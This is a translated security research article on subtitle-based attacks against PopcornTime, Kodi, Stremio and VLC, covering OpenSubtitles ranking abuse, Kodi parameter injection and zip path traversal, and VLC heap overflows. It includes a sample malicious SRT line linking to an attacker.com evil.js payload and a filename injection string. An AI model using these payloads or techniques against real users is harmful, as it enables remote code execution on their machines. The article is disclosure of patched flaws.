【技术分享】针对流媒体平台安全问题的详细分析

https://p0.ssl.qhimg.com/t0118289fe53dae3f0a.jpg

译者:興趣使然的小胃

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

一、背景

最近一段时间,Check Point的研究人员公开了一种全新的攻击方法——基于字幕的攻击方法。在前一篇文章以及演示视频中,我们演示了攻击者如何在不引起用户警觉的前提下,通过字幕文件实现对用户主机的控制。

这种全新的攻击方法表明许多流媒体平台中存在多个漏洞,这些平台包括VLC、Koki(XBMC)、PopcornTime以及strem.io。

攻击者利用这种攻击方法能够完成各式各样的任务,包括窃取敏感信息、安装勒索软件、发起大规模拒绝服务攻击等等。

在我们最初那篇文章公布后,这些漏洞都被修复了,因此现在我们可以与大家全面分享这类攻击的技术细节。


二、PopcornTime

PopcornTime这个开源项目在短短几周之内就开发完成,支持多个视频平台,将Torrent客户端、视频播放器以及视频爬虫功能以一种非常友好的图形化界面呈现给用户。

http://p6.qhimg.com/t0146976de4c44cbb01.jpg

图1. PopcornTime界面

由于这个平台易于使用、资源丰富,受到了主流媒体的广泛关注([1][2]),因此引起了美国电影协会(MPAA)的注意,迫于压力,这个项目已经被关闭。

项目关闭后,许多组织继续更新维护PopcornTime应用程序,并添加了许多新功能。作为PopcornTime项目的继任者,popcorntime.io已经被该项目的原始成员所认可。

PopcornTime提供了一个基于webkit的接口,包含了电影信息以及一些元数据信息,可以提供预告片、故事情节、封面照片、IMDB评分等许多信息。

2.1 PopcornTime中的字幕

为了优化用户体验,PopcornTime会自动获取字幕信息。这一行为能否被攻击者利用呢?答案是肯定的。

PopcornTime使用了open-subtitles作为该平台的唯一字幕源。这个字母源拥有超过4,000,000组字幕,提供了非常方便的API,因此深受大众喜爱。

这个API不仅可以用来搜索及下载字幕,同时也包含一个推荐算法来帮助用户找到合适的字幕。

2.2 攻击面

正如前文所述,PopcornTime的底层是webkit(更精确地说,是NW.js)。

NW.js以前的名字为node-webkit,可以让开发者在其原生应用中使用类似HTML5、CSS3以及WebGL等Web技术。

不仅如此,开发者可以在DOM中直接调用Node.js API以及第三方模块。

从本质上来讲,一个NW.js应用就是一个Web页面,所有的代码都是用JavaScript或者HTML再加上CSS编写而成。在这种情况下,由于它是运行在node js引擎上,因此攻击者可以使用XSS(跨站脚本)漏洞来使用服务端的功能。换句话说,XSS漏洞实际上就是RCE(远程代码执行)漏洞。

2.3 开始攻击

当用户开始播放电影时,我们也开始了攻击之旅。

PopcornTime会使用前面提到的API向服务器发起查询请求,然后下载服务器推荐的字幕(我们会在下文详细分析这一过程,因为这是我们整篇文章中最为关键的一步)。

接下来,PopcornTime会尝试将字幕文件转化为.srt格式:

http://p2.qhimg.com/t01c98eeb05e628075d.png

图2. /src/app/vendor/videojshooks.js

经过各种解码及解析函数处理之后,生成的元素(单条字幕)会被附加到正确的时间线上,包含在“cues”数组中:

http://p5.qhimg.com/t01f63aadaa452d9e3d.png

图3. updateDisplay函数

通过这种方式,我们就能往视图中添加任意html对象。

显而易见的是,能够完全控制任意HTML元素本身就是一件非常危险的事情。对于基于node的应用而言,我们需要明确一点,那就是XSS漏洞等同于RCE漏洞。

攻击者可以使用诸如child_process之类的模块来执行系统命令。

一旦我们的恶意JavaScript被加载到应用中,那么实现代码执行也不过是几行代码的事情。

最简单的一个SRT文件如下所示:

1
00:00:01,000 –> 00:00:05,000
Hello World

除了文本形式的“Hello World”,我们还可以使用HTML中的图片标签(img)。

我们可以尝试加载一个不存在的图片,并设置一个onerror属性。

http://p4.qhimg.com/t019b80ab7f84d3a4b3.png

图4. 恶意.srt文件样例

http://p8.qhimg.com/t011a59e77425ab33fa.png

图5. evil.js(代码执行)

如图4所示,我们利用JavaScript的onerror属性,避免图片错误时应用显示一个错误的图标,然后将我们的远程恶意载荷加载到这个页面中,最后通过evil.js弹出大家喜闻乐见的calc.exe(如图5所示)。


三、OpenSubtitles:水坑攻击

因此,我们可以利用PopcornTime来执行代码。

客户端漏洞是非常有价值的,但它们往往依赖于用户的交互行为。

为成功利用客户端漏洞,用户必须点击链接、阅读pdf,或者攻击者需要事先突破某个网站。

为了通过字幕实施攻击,用户需要加载恶意字幕。我们有方法跳过这一步么?

对大众而言,通过开放社区获取的字幕通常会被视为安全的文本文件。既然我们已经知道这些文件也会存在危险,那么我们回过头来,从整体上观察一下这类文件的危害范围。

OpenSubtitles是目前最大的在线字幕下载社区,拥有超过400万条字幕内容,以及500万的日均下载量,其API也被广泛集成于其他视频播放器中。

此外,OpenSubtitles甚至可以提供智能搜索功能,能够根据用户提供的信息返回最佳匹配的字幕。

综上,我们是否可以通过API来取消用户交互过程,同时确保OpenSubtitles上存储的恶意字幕能够被用户自动下载?

3.1 深入分析API

当用户开始播放电影时,程序会第一时间发送SearchSubtitles请求,服务器会返回一个XML响应,响应中包含与用户请求相匹配的那个字幕的所有对象信息(此例中,用户使用IMDBid进行匹配)。

http://p7.qhimg.com/t01d7568a1e06e3f21f.png

图6. API SearchSubtitles请求

http://p9.qhimg.com/t01b82e39ae272a80a3.png

图7. API SearchSubtitles响应

图6中,我们的搜索条件为“imdbid”,图7中的响应结果包含与imdbid匹配的所有字幕。

有意思的是,API会根据文件名、IMDBid、上传者等级等信息,通过算法对字幕进行排序。通过仔细阅读官方文档,我们发现了API的排序方法:

http://p8.qhimg.com/t01f11722ece6297372.png

图8. API排序方法

根据图8所示,我们发现字幕的优先级得分与某些匹配元素加分权重有关,这些元素包括标签、IMDBid、上传用户等。

根据这张表,假设我们以“普通(匿名)用户”身份(即user|anon身份)将恶意字幕上传到OpenSubtitles,该字幕仅能得到5分。

但在这里我们学到了非常有价值的一个教训:那就是仅阅读官方文档是远远不够的,因为从源代码中我们能看到文档中没有给出的一些信息。

matchTags函数如下所示:

http://p9.qhimg.com/t019934a95983e45aa8.png

图9. opensubtitles-api排序算法

PopcornTime在发往服务器端的请求中仅仅指定了IMDBid这一字段(如图6所示),这意味着代码中“MatchedBy === ‘tag’”这一条件永远为false,不会被执行。

因此程序会调用matchTags()函数:

http://p3.qhimg.com/t01e71734576b03acb3.png

图10. matchTags函数

matchTags函数会将电影和字幕文件名分解为标签。单个标签通常为文件名中的独立的单词或数字,这些单词或数字通过“.”以及“-”连接形成完整的文件名。

电影文件名与字幕文件名之间的共享标签数会除以电影标签数,再乘上maxScore(具体值为7,这个值代表两个文件名完全匹配时的最大值)。

例如,若一个电影文件名为“Trolls.2016.BDRip.x264-[YTS.AG].mp4”,则标签为:[Trolls, 2016, BDRip, x264, YTS, AG, mp4]。

由于攻击者非常容易就能获取到应用程序(例如PopcornTime)正在下载的电影文件名(比如通过嗅探方法),因此我们可以将字幕文件设置为相同的名称,且以“srt”作为扩展名,这将在字幕排序中增加7个分值。

3.2 快速回顾

现在,我们的字幕已经可以拿到12分了!单单匹配IMDBid获取的得分较少(只有5分),但获得torrent网站以及PopcornTime具体使用的字幕信息则十分简单,因此我们的恶意字幕能够实现完全匹配(加7分)。

这个分数已经不错了,但我们还没有满足。

这里推荐一些最受欢迎的字幕:斯诺登、死侍、盗梦空间、星球大战外传:侠盗一号,以及冰雪奇缘。

http://p4.qhimg.com/t0107f516672aaa24ea.png

图11. 电影字幕排序

上图展示了世界上最为流行的7种语言的得分,同时显示了平均分和最高分。通过对流行字幕的自动分析,我们发现字幕的最高分为14分,而平均分值为10分左右。

再次回顾评分系统,我们意识到,想要在排序评分中获得高分是非常容易的一件事情。

http://p3.qhimg.com/t01cea5e08d50672fbb.png

图12. 用户排序标准

显然,上传记录达101次将成为金牌会员。

因此,我们注册成为OpenSubtitles的用户,耗时4分钟、使用一个40行的Python代码后,我们成为了金牌会员。

http://p7.qhimg.com/t01331b8bc2c3dfc05e.png

图13. 我们的用户排名

我们编写了一个脚本,用来显示某部电影的所有可用字幕。如下图所示,我们的字幕拿到了最高得分(15分)!

http://p5.qhimg.com/t01f9a442e6cbd41f61.png

图14. 我们的恶意字幕排名第一

这也就意味着,对于任意电影,我们都可以强制用户播放器加载我们制作的恶意字幕,并对用户主机实施攻击。


四、KODI

KODI的前身是XBMC,是一个深受大家喜爱的开源跨平台项目,同时也是一个大众化的娱乐中心。KOBI支持所有主流平台(Windows、Linux、Mac、Ios以及Android),支持72种语言,有超过4千万用户,可能是世上最常用的家庭影院类软件。与此同时,KODI经常会跟智能电视(SmartTV)以及树莓派(Raspberry-Pis)结合在一起,因此也吸引了众多攻击者的注意。

4.1 KODI中的字幕

与KODI的其他功能类似,KODI的字幕也是使用Python插件来管理的。

最为常用的字幕插件是Open-Subtitles,我们对这个插件的API并不陌生,因此让我们直接跳到字幕下载处理流程。

这个插件使用如下函数来搜索字幕:

http://p3.qhimg.com/t014698d13e2d70d109.png

图15. 搜索函数

searchsubtitles()函数会从OpenSubtitles上检索可用的字幕列表,获取这些字幕的元数据。

之后,应用会在一个for循环中,迭代处理这些字幕,并使用addDirectoryItem()将它们添加到应用界面中,如下图所示:

http://p0.qhimg.com/t01f9bd28640cccca2d.png

图16. 字幕菜单(“斯诺登”电影的印尼语字幕)

如图15所示,发往addDirectoryItem()函数的字符串为:

plugin://%s/?action=download&link=%s&ID=%s&filename=%s&format=%s

正如其名,Open-Subtitles是一个开放式的源,因此攻击者可以控制用户收到的响应包中SubFileName下的文件名参数,如下所示:

http://p7.qhimg.com/t01b82e39ae272a80a3.png

图17. API响应

由于文件名在攻击者的完全控制之下,因此攻击者可以向服务器上传如下一个文件名,覆盖前面的参数(如link以及ID参数):

Subtitles.srt&link=<controlled>&ID=<controlled>

结果如下:

plugin://%s/?action=download&link=%s&ID=%s&filename=Subtitles.srt&link=<controlled>&ID=<controlled>&format=%s

这种覆盖方式能够成功,原因在于程序在解析字符串时使用了split函数。

当用户在字幕菜单中(如图16所示)选择某个可用的选项后,受影响的函数就会运行,因此这些被篡改的参数会造成严重的结果。

当用户在字幕菜单中选择一个字幕后,相关信息会被发送到Download()函数:

http://p0.qhimg.com/t01f91b281c870a60f5.png

图18. Download函数

由于现在我们已经能够控制传给该函数的所有参数,因此我们就能滥用这个函数的功能。

通过提供一个无效的id值(如“-1”),我们就能到达“if not result”代码分支。程序会在这个分支中下载“原始”的字幕数据,以避免其无法通过Open-Subtitles API获取所需的文件。

通过控制url参数,我们可以根据需要,让程序下载任意zip文件(比如http://attacker.com/evil.zip文件)。

从互联网上下载任意zip文件可能关系不大,但如果这个行为与KOID释放功能中的另一个漏洞结合使用,就会造成致命的后果。

在审计ExtractArchive()函数的代码时,我们注意到该函数会将strPath(文件释放的目的路径)与strFilePath(压缩文件中的文件路径,通过迭代方式生成)组合在一起。

http://p6.qhimg.com/t0128529052c69e5bd5.png

图19. ExtractArchive()函数

我们可以构造一个zip文件,其中递归包含名为“..”的文件夹,这样以来,我们就能控制文件释放的目的路径(CVE-2017-8314)。

利用目录遍历缺陷,我们可以覆盖KODI的字幕插件。

http://p1.qhimg.com/t0109c5c14e0d92aadf.png

图20. 恶意ZIP文件的结构

覆盖插件意味着KOID很快就会执行我们的文件。我们构造的恶意Python代码可以完全包含原始插件的所有代码,只要根据需求添加其他恶意功能即可。


五、Stremio

PopcornTime的流行的确标志着流媒体应用的兴起,但当它被MPAA(美国电影协会)突然关闭时,用户就会寻找其他替代品。

作为半开源内容聚合器,Stremi开始走入用户视野。与PopcornTime类似,Stremio同样易于使用,也提供了类似的用户接口。非常有趣的是,Stremio在某些特点上与PopcornTime类似。对我们而言,最为关键的一点是,Stremio是一个基于web-kit的应用,其字幕源为Opensubtitle.org。

Stem.IO同样会将字幕内容添加到webkit接口中,因此我们猜测XSS对这个应用来说也是个值得关注的攻击点。

然而,对PopcornTime有效的方法在这里并没有任何作用:

http://p0.qhimg.com/t01ec1f363cfe2f26bb.png

图21. Stremio解析包含无效图片的字幕

我们可以在视频底部看到无效的图片(如图21所示),但程序没有执行任何代码。

显然我们的JavaScript代码没有生效,是时候深入挖掘一下了。

Stremio的代码包含在一个ASAR文件中,这种文件格式与TAR格式类似,无需压缩就能将所有文件组合在一起。提取并格式化源代码后,我们发现显示在屏幕上的任何文本都会经过程序的过滤处理。

过滤服务会对HTML内容进行解析,只允许安全的、在白名单中的标记及属性通过,因此字符串被过滤后不会包含脚本表达式或者危险的属性。程序强制使用静态HTML标签,不提供脚本功能,这的确非常限制我们的可选操作。这种情况下,我们需要创造性的解决方案。

如果你使用过Stremio,那么你对该应用所弹出的“Support us”界面肯定非常熟悉。

http://p8.qhimg.com/t01729294cc5fd4ad0f.png

图22. Stremio的“Support us”界面

利用HTML中的<img>标签,我们可以在屏幕正中呈现这个界面的图片副本,然后用<a href>标签进行封装。这样一来,当用户点击关闭按钮时,就会被重定向到我们的恶意页面:

1
00:00:01,000 –> 00:01:00,000
<a href=”http://attacker.com/evil.js”><img src=”http://attacker.com/support.jpg”></a>

这个页面正是我们前面在攻击PopcornTime中使用的evil.js页面,该脚本可以利用nodejs的功能,在受害者主机上运行代码。


六、VLC:重头戏

6.1 简介

当我们意识到字幕载体可以作为新型的攻击媒介时,我们接下来的目标就非常明显了。VLC拥有超过1.8亿用户,是世界上最受欢迎的媒体播放器之一。

VLC是一个开源的、便携式的、跨平台的(流)媒体播放器,可以支持各种各样的平台,包括Windows、OS X、Linux、Windows Phone、Android、Tizen以及iOS。几乎各个地方都能见到它的身影。

VLC作者的原话为:“这是个非常流行,但也非常复杂的软件”。我们相信字幕类漏洞同样也存在于VLC中。

6.2 结构设计

事实上,VLC是一个全功能的多媒体框架(类似于DirectShow或者GStreamer),并且支持许多模块的动态加载及插入。

VLC的核心框架所做的事情就是“串起”输入输出以及处理媒体数据,其输入为文件或网络流,输出为音频、视频,可以输出到显示屏上或网络中。VLC在每个阶段都会使用模块来处理大多数工作(包括各种分离器解码器、过滤器以及输出)。

VLC中主要模块的功能如下图所示:

http://p5.qhimg.com/t013a7cf88844167d37.jpg

图23. VLC模块

6.3 字幕

暂时抛开VLC,让我们来聊聊杂乱无章的字幕世界。

在我们研究过程中,我们总共遇到了超过25种格式的字幕!某些字幕是二进制形式的,某些是文本形式的,只有少数几种字幕有较为完善的文档说明。

我们都知道SRT字幕支持少数几种HTML标签以及属性,但让我们惊讶不已的是,其他许多字幕格式可以支持各种各样的奇怪功能。比如,SAMI字幕支持内嵌图片,SSA字幕支持多种主题及样式定义,然后可以从每个字幕中引用这些主题及样式,而ASS字幕甚至允许内嵌二进制形式的字体。这个名单还可以不断延伸下去。

通常情况下,我们并没有统一的库来解析所有的字幕格式,这些解析任务都会分摊给每个开发者,但问题也出自于此。

6.4 回到VLC

VLC会在名为subtitle.c的分离器中对文本形式的字幕进行解析。

这个分离器所支持的全部格式及对应的解析函数如下所示:

http://p4.qhimg.com/t01e6d5bfae147cec05.png

图24. subtitle.c中负责解析的函数数组

这个分离器的唯一任务就是解析不同格式的时间线信息,然后将每个字幕发送到对应的解码器。SSA以及ASS使用开源库libass进行解码,除此之外,其他所有的格式都会发往VLC自己的subsdec.c解码器。

subsdec.c会解析每个字幕中的文本字段,然后创建与其对应的两个版本。第一个版本是一个去掉所有标签、属性以及样式的明文版本。VLC会在字幕渲染失败时启用这个版本。

第二个版本是一个HTML字幕版本,包含更多的功能,比如各种样式属性(字体、对其)等。

字幕解码完成后,就会被发往最后一个阶段,以便渲染呈现。VLC主要是使用freetype库来进行文本渲染。

以上过程基本覆盖了字幕从加载到显示的整个生命周期。

6.5 漏洞寻找

在VLC字幕相关代码中,我们很快注意到VLC使用原始指针而不是使用内置的字符串函数来完成大量解析工作。通常情况下这不是一个好的解决方法。

比如,当处理字体标签中的某些可能的属性时(如字体类别、大小或者颜色),VLC在某些地方无法验证字符串的结束位置。因此,这些解码器会继续从缓冲区中读取数据,跳过任何Null结束符,直到遇到一个‘>’字符为止(CVE-2017-8310)。

http://p9.qhimg.com/t01b2921cd739f0fd8c.png

图25. subsdec.c CVE-2017-8310

6.6 模糊测试

在人工对代码进行审计时,我们同时也对VLC进行了模糊测试,寻找与字幕有关的漏洞。

我们选择的模糊测试工具是AFL。AFL是面向安全的模糊测试器,采用了编译时规范策略以及遗传算法来发现目标程序内部中新的状态及触发边缘执行路径。AFL已经发现了无数个漏洞,如果输入正确的语料库,那么AFL就可以在非常短的时间内给出非常有趣的测试用例。

在我们的语料库中,我们下载并重写了多个字幕文件,这些文件包含多种格式,具备多种不同的功能。

为了避免软件的视频渲染及显示功能(我们的模糊测试服务器没有安装任何图形显卡),我们使用转码功能将一个没有任何内容的短视频从一种编码转化为另一种编码。

我们用来运行AFL的命令如下所示:

./afl-fuzz –t 600000 –m 2048 –i input/ -o output/ –S “fuzzer$(date +%s)” -x subtitles.dict — ~/sources/vlc-2.2-afl/bin/vlc-static –q –I dummy –subfile
@@ -sout=‘#transcode{vcodec=“x264”,soverlay=“true”}:standard{access=”file”,mux=”avi”,dst=”/dev/null”}’ ./input.mp4 vlc://quit

6.7 崩溃点

没过多久,AFL就发现了存在漏洞的一个函数:ParseJSS。JSS代表的是JACO Sub Scripts文件。JACOsub是一种非常灵活的格式,可以支持时间线修改(如跳转)、可以包含外部JACOsub文件、可以暂停时钟,还有许多功能可以在其规范文档中找到。

JACO脚本的功能实现非常依赖于指令(directive)。一条指令由一系列字符编码组合而成,这些编码决定了字幕的位置、字体、样式、颜色等等。指令只会对当前附加的那条字幕造成影响。

AFL发现的崩溃点与越界读取漏洞有关,当程序在尝试跳过不支持的指令时(即当前尚未完全实现的功能)就会发生越界读取问题,漏洞编号为CVE-2017-8313。

http://p2.qhimg.com/t01d43ca64ef7261a45.png

图26. Subtitle.c(CVE-2017-8313)

如果某条指令后面没有跟着任何空格符,那么这个while循环就会跳过Null字节,越过psz_text缓冲区边界,继续往下读取。在整段代码中,psz_text是一个指针,指向一个在堆上分配的、以Null为结束符的字符串。

这个崩溃点引起了我们对ParseJSS函数的关注,我们很快又发现了程序在解析其他指令时存在的另外两个越界读取问题。这一次对应的是跳转(shift)以及时间(time)指令(分别对应‘S’以及‘T’)。原因在于跳转长度可能会比psz_text的长度更大(CVE-2017-8312)。

http://p1.qhimg.com/t0169fdd2424e0e0fcc.png

http://p3.qhimg.com/t016d6d3bb9fcb323ba.png

图29. Subtitle.c(CVE-2017-8311)

在另一种情况下,VLC会直接跳过NULL字节(第1883行)。

http://p1.qhimg.com/t011044ace713e1fc37.png

图30. Subtitle.c(同样为CVE-2017-8311)

这一行为也会导致堆缓冲区溢出漏洞。

6.8 漏洞利用

VLC支持许多操作系统及硬件架构平台。从指针大小到缓存策略,每个平台在功能以及堆实现细节上可能存在不同,这些因素都对漏洞利用造成一定影响。

在我们的PoC中,我们决定使用Ubuntu 16.04 x86_64系统。这个演示平台是现今非常流行的一个平台,因此这个PoC同样适用于现实世界。由于堆的实现代码是开源的,因此我们可以较为深入地理解漏洞利用过程中的具体细节。

经过多年的发展,现存的针对GLibC-malloc函数的通用型堆利用技术已经寥寥无几。然而,VLC漏洞的触发条件使得我们无法使用已有的这些方法。

我们唯一的选择是使用这个漏洞作为数据写入方法来覆盖某些应用的特定数据。被覆盖的这些数据反过来又会导致更加严重的后果(可以在任意位置写入任意数据),或者完全控制代码执行流程。

VLC是一个高度线程化的应用。根据堆的具体实现,这意味着每个线程在堆上都有各自的资源,这限制了我们可以覆盖的对象数量(只有在线程中分配的负责处理字幕的对象才是我们可能覆盖的对象)。并且,我们很有可能能够溢出代码附近的某个对象来触发漏洞。

线程创建点和存在漏洞的函数之间的距离并不远。我们开始手动寻找有用的对象,然后发现了demux_sys_t和variable_t这两类对象。此外,通过自动跟踪堆上分配的每个对象,我们还发现了link_map、es_out_id,以及包含虚拟表的一些Qt对象。经过删选,我们最终选择了variable_t对象作为研究目标。

http://p4.qhimg.com/t016e0577b7b8b7a59b.png

图31. variable_t结构体

该对象用于在VLC应用中保存各种类别的数据,包括模块的配置信息和命令行选项。由于这些对象数目较多,因此我们有机会在某个对象之前找到缝隙,进而修改堆布局。variable_t结构包含一个p_ops字段,该字段保存了一个指针,指向的是操作变量值的某个函数地址。攻击者可以通过控制这个字段获得对程序的控制权。其他对象由于无法利用或者存在过多限制无法成为我们的利用目标。

现在我们已经有一个能够利用的对象,我们必须在该对象之前,在堆上分配一个JACOSubScript(JSS)字幕对象。通过精心选择分配对象,修改堆布局,使其成为可预测的、可使用的状态,这一过程称之为堆风水(Heap Feng Shui、或者称为堆功夫、堆美容)。相当幸运地,我们偶然发现目标对象(即variable_t(sub-fps))前恰巧有一个缝隙(hole)可以使用。

http://p4.qhimg.com/t0168a0d1b6f56b6976.png

图32. variable_t之前的内存布局

尽管我们没有必要非得使用其他堆修改方法,但我们的确发现了一段非常有趣的代码,这段代码可以在要求更为精准的环境下给我们提供非常大的帮助。当VLC打开一个字幕文件时,它并不知道该使用哪个模块来解析这个新的文件。VLC采用了非常模块化的架构,当需要解析某个文件时,它会查找所有的模块(库),加载这些模块,然后判断这些模块是否能解析给定的输入流(在这种情况下,输入流即为字幕文件)。存在漏洞的代码位于字幕模块中,但这个模块不是第一个被加载的模块。

VLC会先加载两个模块,VobSub模块会被加载,用来检查字幕文件是否为VobSub格式。我们可以欺骗这个模块,在文件的第一行中设置VobSub魔术值,这样一来,VobSub模块就会认为我们的字幕文件为VobSub格式。然后,这个模块开始解析输入文件,执行各种内存分配及释放操作。这段代码比我们目标对象的分配代码更早执行,因此我们刚好可以将VobSub/JSS用于堆风水过程。

利用这一漏洞,我们可以线性地覆盖某个已分配的字幕字符串后的数据。这里存在一个问题,variable_t结构体的第一个字段为psz_name,这个字段应该为字符串的一个指针。在VLC的整个生命周期中,这个指针的引用计数会被减去若干次。由于ParseJSS函数会拷贝字符串,因此我们无法写入NULL字节,因为它为有效指针的前两个字节。这样一来,我们无法写入有效的指针数据,也无法真正溢出variable_t结构体。

为了克服这一问题,我们拓展了堆的元数据功能。我们使用了一系列分配、溢出、释放操作,经过这些复杂的操作后,我们覆盖了元数据中的堆块(chunk)大小值(与该案例类似)。这样一来,我们可以在不覆盖psz_name字段的前提下,覆盖variable_t结构提中的p_ops字段。

现在,我们的问题变为:我们具体应该写入什么数据?当VLC被关闭时,Destroy函数就会使用p_ops这个字段。这段代码会调用该字段所指向的数组中的pf_free函数,并将该值以参数形式传递给被调用的函数。因此,我们需要写入一个指针,将其指向另一个指针,后者指向的是我们第一个利用点所在的位置(实际上是16个字节之前)。这里我们面临的主要问题是ASLR。我们不知道任何数据的实际位置。这种环境也称之为无脚本利用环境。

解决这个问题的一种方法是使用部分覆盖方法。原始的指针指向的是libvlccore库中的float_ops静态数组。我们可以部分覆盖这个值,让指针指向libvlccore库中的其他位置。

另外一种方法就是将指针指向ubuntu中没有被随机化的主程序。我们在主程序中发现了一些非常有趣的小工具。比如,某个小工具会调用dlysm,然后将生成的结果作为第一个参数传递给另一个寄存器(具体代码为:dlsym(-1, $rsi)($rbx))。

第三种方法就是执行部分复制操作。由于我们的漏洞利用过程会从堆块外复制数据,因此我们可以修改堆结构,将某个堆指针写入到堆块中,然后执行部分复制操作即可。

虽然这几种方法看起来都非常有希望,但我们并没有使用这些方法。无脚本利用会给我们带来许多挑战,并且在这种环境下,为了演示漏洞利用过程我们需要研究太多细节。我们选择了另一种方法,那就是禁用ASLR机制,将指针指向合适的堆地址。此时,漏洞可利用的地址发生了些许改变,很有可能需要根据线程的具体行为进行调整,但从统计概率上来看,我们可以认为该地址为某个特定的地址。我们的下一个问题是,我们应该指向那个区域?VLC会逐行读取字幕文件,并将每行字幕复制到堆块中。这种底层的按行读取机制导致单行字幕的最大大小会被限制为204800字节。

我们将漏洞利用数据存放到VLC所允许的最长行中,据此发现漏洞可利用的地址的分布情况。我们构建了一个基于ROP链的libvlccore库,并在开头部位设置了一个特征值。然后,我们将p_ops字段指向特征值,使用我们构造的字幕文件启动VLC。最终,我们让VLC运行并弹出了一个gnome-calculator程序。


七、总结

利用各种漏洞,我们能够攻击流媒体平台并且获得用户电脑的控制权。这些漏洞的类型包括XSS漏洞、逻辑漏洞以及内存损坏漏洞等等。

由于使用率高、覆盖面积大,这些多媒体播放器暴露了非常巨大的攻击面(我们相信还有其他播放器受到类似漏洞影响),可能会影响数亿用户。

这里我们可以总结出一个结论:许多表面上安全且容易被我们忽略的地方,恰恰可以作为攻击者突破途径。我们将继续探寻可能被攻击者利用的突破口,保护用户免受攻击。

(完)